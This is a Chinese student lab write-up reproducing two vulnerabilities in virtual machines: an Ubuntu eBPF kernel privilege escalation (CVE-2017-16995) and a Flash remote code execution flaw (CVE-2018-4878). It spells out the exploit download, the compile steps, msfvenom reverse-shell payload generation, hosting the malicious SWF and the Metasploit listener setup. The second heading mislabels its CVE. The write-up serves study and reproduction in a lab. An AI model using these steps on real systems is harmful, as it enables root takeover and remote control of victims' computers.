1. 程式人生 > >20155306 白皎 0day漏洞——漏洞的分析與復現

20155306 白皎 0day漏洞——漏洞的分析與復現

基於 執行c 成功 驗證 賬號密碼 swf twitter .exe pin

一、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題。

攻擊者(普通用戶)可以利用該漏洞進行提權攻擊,獲取root權限,危害極大。該漏洞編號是CVE-2017-16995,在之前的一些老版本已經修復了,但是在最新的Ubuntu版本中,又出現了這個漏洞,並且Twitter爆出了漏洞利用代碼。

目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。

影響版本:
Linux內核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2.漏洞復現

step1:漏洞復現環境下載

  • Ubuntu16.04下載:http://old-releases.ubuntu.com/releases/16.04.0/
    【註:這裏我下載的版本是 ubuntu-16.04.3-server-amd64.iso
    POC代碼下載:http://cyseclabs.com/pub/upstream44.c 】
    uploading-image-306121.png

技術分享圖片

  • 使用賬號密碼(pinginglab/pinginglab)登錄虛擬機
    ,使用 id 查看本地用戶組權限:

技術分享圖片

  • 使用cat /proc/version查看Linux內核版本
  • 使用cat /etc/shadow查看賬號密碼(由於是普通賬號,沒有權限查看)
    技術分享圖片

  • 下載POC代碼
    技術分享圖片

使用gcc對upstream44.c進行編譯,給予執行權限: 【若沒有編譯器,使用sudo apt install gcc 下載並安裝gcc編譯器】

  • 下面編譯並且賦予權限
gcc -o test upstream44.c 
chmod +x test 
ll 

技術分享圖片

  • 可以看到編譯成功後的文件:
    技術分享圖片

  • 執行test文件,發生了錯誤:

技術分享圖片

  • 經過分析和查閱資料,發現可能是我電腦的內核不對?但是我的內核是在範圍內的呀。那我只好換個內核一試了!

  • 查看目前內核版本uname -r

技術分享圖片

  • 下載自己想要的版本,我下載的是
    :4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic
    技術分享圖片

可以看到內核更換成功啦!

  • 重新利用gcc進行編譯,並且查看,沒有問題,一切正常~
    技術分享圖片

  • 運行編譯的文件,可以看到提權成功!此時用戶從“baijiao”,切換到“root”,獲取到最高權限,並且可以查看本地賬號密碼。

技術分享圖片

二、Ubuntu16.04 (CVE-2017-16995)

1.漏洞分析

  • 概述
    在2018年2月1號,Adobe官方發布安全通報(APSA18-01),聲明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通過構造特殊的Flash鏈接,當用戶用瀏覽器/郵件/Office訪問此Flash鏈接時,會被“遠程代碼執行”,並且直接被getshell。直到2018年2月5號,Adboe才發布補丁來修復此0 day漏洞。

2.復現步驟

-實驗環境

攻擊機:Kali Linux (ip:192.168.145.137)

靶機:Windows 7 (ip:192.168.145.138)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 實驗流程

①將網上找的代碼CVE-2018-4878-master目錄下載下來,並放入Kali Linux桌面,並查詢本機ip。

技術分享圖片

技術分享圖片

②使用msfvenom生成shell代碼

生成代碼,其中lhost為kali的ip地址,lport為自定義的端口號msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

技術分享圖片

查看代碼文件 cat shellcode.txt

技術分享圖片

③進入CVE-2018-4878-master目錄,編輯CVE-2018-4878.py文件,將上面msfvenom生成的代碼覆蓋掉原來的代碼:

技術分享圖片

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路徑改為自己的相應的文件路徑,之後保存修改退出:

技術分享圖片

④Kali Linux進入CVE-2018-4878-master路徑,用Python執行CVE-2018-4878-master.py代碼
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
root@kali:~/Desktop/CVE-2018-4878-master# ls -l

技術分享圖片

⑤Kali Linux開啟Apache2服務,並將上面的2個文件放入/var/www/html目錄中(apache web路徑)

root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

技術分享圖片

此時,Kali Linux上Web服務啟動,並且具備index2.html這個頁面。只要靶機啟用flash並訪問了這個頁面,則可以直接被控制。

⑥Kali Linux開啟Shell會話監聽

使用handler監聽模塊 
msf > use exploit/multi/handler 
回彈一個tcp連接 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
設置kali***機的ip地址 
msf exploit(handler) > set lhost 192.168.145.137 
設置監聽端口,這個需跟上面msfvenom設置的端口一致 
msf exploit(handler) > set lport 5306 
開啟監聽,等待肉雞上線 
msf exploit(handler) > exploit

⑦Windows7 安裝flash插件,並用IE瀏覽器訪問頁面

搜索flash最新的28版本 ,安裝flash插件 。

技術分享圖片

使用Win7內置IE 8瀏覽器訪問頁面:http://172.16.70.216/index2.html

技術分享圖片

⑧Kali Linux 上獲取meterpreter shell,並進行管理

技術分享圖片

在實驗過程中,最後需要在靶機瀏覽器打開index2.html ,但總是提示頁面無法顯示,最後發現是因為自己的攻擊機和靶機不在同一網段,一個設置為NET模式,一個為橋接模式,最後把統一設置為NET模式,就攻擊成功啦!

可以看到,最終由於Flash存在CVE-2018-4878這個高危漏洞,導致Windows靶機訪問含flash的頁面時,直接被Kali Linux控制。

做完這個實驗,感覺在真實環境下,應該有很多基於此Flash漏洞,結合社會工程學,比如將網頁鏈接放置在誘導郵件中,就可以欺騙欺騙大量用戶點擊,哇,真的是太可怕了。這也提醒我們平常要非常小心陌生鏈接要及時打安全補丁要不然一個不小心,就會導致電腦被劫持了。

20155306 白皎 0day漏洞——漏洞的分析與復現